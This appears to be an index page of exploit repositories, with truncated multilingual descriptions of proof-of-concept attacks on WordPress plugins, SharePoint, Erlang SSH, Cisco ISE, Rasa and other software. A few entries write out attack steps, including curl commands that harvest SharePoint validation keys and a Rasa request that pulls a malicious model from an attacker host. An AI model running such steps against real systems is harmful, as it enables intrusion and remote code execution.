CVE-2025-6058

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Exploitation de téléchargement de fichier non authentifié Exploit de téléchargement arbitraire de fichier non authentifié ciblant le plugin WPBookit pour WordPress ≤ 1.0.4 L'exploit permet le téléchargement distant d'un shell et l'exécution complète de...

CVE-2025-2294

CVE-2025-2294 Introduction CVE-2025-2294 est une vulnérabilité critique de type Local File Inclusion LFI dans le plugin Kubio AI Page Builder pour WordPress. Cette vulnérabilité permet à un attaquant distant non authentifié de transmettre un paramètre spécialement conçu, ce qui amène le plugin à...

CVE-2025-32433-Exploit-edited

CVE-2025-32433 Эксплойт совместим с Windows Удаленное выполнение кода без аутентификации в Erlang/OTP SSH Описание Этот репозиторий содержит эксплойт для CVE-2025-32433, критической уязвимости удаленного выполнения кода без аутентификации в SSH-сервере Erlang/OTP. Ключевые особенности: ✅ Эксплойт...

CVE-2026-47670

CVE-2026-47670 Exécution de code à distance authentifiée via injection dans le paramètre functionName de la fonction loadReader dans DbGate DbGate est un outil open-source et multiplateforme de gestion de bases de données conçu pour les développeurs et administrateurs de bases de données qui...

Detection-script-for-cve-2021-23358

Script de détection pour cve-2021-23358 Script de détection pour cve-2021-23358 J'ai créé un script de détection pour CVE-2021-23358, qui détectera la version vulnérable de node underscore, qu'elle soit installée comme outil open-source ou que seules les bibliothèques soient utilisées. Ce script ...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit Tout d'abord, récupérez les valeurs VIEWSTATEGENERATOR, VALIDATIONKEY et VALIDATIONALG de la page SharePoint cible : curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx Ensuite,...

CVE-2017-8464-EXP

CVE-2017-8464-EXP x86 및 x64 지원 테스트용입니다 Lnk 파일 출처: https://github.com/rapid7/metasploit-framework/pull/8767 ykoster님께 감사드립니다 작은 변경: DLL 파일을 교체하고 explorer.exe 충돌 버그를 수정했습니다 ykoster가 이 버그를 수정했습니다 POC: x86: x64: USB 드라이브를 식별할 수 있다면 LNK 파일 하나로 충분합니다. 다음과 같습니다: 자세한 내용:...

CVE-2019-16113-PoC

CVE-2019-16113 Preuve de concept Bludit = 3.9.2 Vulnérabilité d'exécution de code à distance via la fonction "Upload". Preuve de concept Python simple. Découverte par @christasa : https://github.com/bludit/bludit/issues/1081 Utilisation Modifiez le script avec votre URL, nom d'utilisateur, mot de...

next88

next88 - Scanner RCE des Composants Serveur React Implémentation Go haute performance pour détecter les vulnérabilités RCE des Composants Serveur React CVE-2025-55182 et CVE-2025-66478. Fonctionnalités 🚀 Haute performance : Binaire Go compilé avec concurrence basée sur les goroutines 🔍 Méthodes d...

CVE-2024-27348

CVE-2024-27348 Pour usage éthique uniquement, toute activité nuisible ou malveillante n'est pas autorisée. Et c'est votre propre responsabilité Vous pouvez lire l'analyse de la vulnérabilité ici : https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/ Analyseur RCE du serveur...

CVE-2026-103877

A flaw was found in Apache Directory LDAP API. This vulnerability allows a rogue or compromised LDAP server, or a network attacker performing a man-in-the-middle MitM attack, to execute arbitrary code on the client. During a schema search request, an attacker can return a crafted schema object...

CVE-2020-9380

PoC de l'exploit IPTV Smarters Utilisation python gld.py -u http://www.pirate-ilegal-tv.com/ -i Vulnérabilité Fichier includes/ajax-control.php: ?php / @ PHP 5.6 @ Decoder version : 1.0.0.1 @ Release on : 24.03.2018 @ Website : http://EasyToYou.eu / sessionstart; if fileexists"functions.php"...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065 : Simulateur d'exécution de code à distance RCE dans Apache Parquet Capture d'écran de la démo Interface du simulateur montrant la chaîne d'exploitation 📌 Aperçu Ce dépôt contient une simulation éducative de CVE-2025-30065, une vulnérabilité critique d'exécution de code à...

hack-winrar

hack-winrar WinRar est un logiciel très connu pour Windows. Une version précédente de WinRaR présentait une vulnérabilité qui a été corrigée en février 2019. La plupart des gens n'ont pas mis à jour WinRAR, ils sont donc vulnérables à ce bug de traversée de chemin absolu CVE-2018-20250 exp pour...

cheat-engine

Cheat Engine Cheat Engine is a development environment focused on modding games and applications for personal use. Download Latest Version Older versions Links Website Forum Forum alternate Forum alternate Wiki Social Media Reddit Twitter Donate Patreon PayPal Basic Build Instructions 1. Download...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Preuve de concept Analyse : https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Le script Python abuse de la fonction de téléversement disponible sans authentification à l'URL /admin/files-upload/. Le script crée localement un dossier bin ...

CVE-2024-32462

CVE-2024-32462 CVE-2024-32462 exécution de code et évasion de sandbox À quoi doit ressembler le répertoire pour compiler ceci ├── org.exploit.SandboxEscape.yaml ├── exploit.py └── app/ └── exploit.desktop Comment exécuter et construire 1.Installer le SDK Flatpak si nécessaire : flatpak install...

CVE-2023-49314

CVE-2023-49314 Asana Desktop 2.1.0 sur macOS permet une injection de code en raison de fusibles Electron spécifiques. La protection contre l'injection de code via des paramètres tels que RunAsNode et enableNodeCliInspectArguments est insuffisante, ce qui permet d'utiliser electroniz3r pour mener...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Exécution directe python server-1.py Téléchargement arbitraire de fichier PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Résultat : CVE-2021-41127 server-1.py Nom de modèle par défaut : evilimportmodel.tar.gz Dé...

CVE-2026-48907

CVE-2026-48907 — Joomla Content Editor JCE ≤ 2.9.99.4에서의 인증되지 않은 RCE CVE-2026-48907에 대한 개념 증명 익스플로잇 — Joomla Content Editor JCE 확장의 CVSS 10.0 사전 인증 원격 코드 실행 취약점입니다. 연구: Grayxploit Security Team 목차 개요 영향받는 버전 취약점 세부 사항 공격 흐름 개념 증명 패치 분석 해결 방법 타임라인 참고 자료 면책 조항 개요 CVE-2026-48907 은 가장 널리 설치된 Joomla...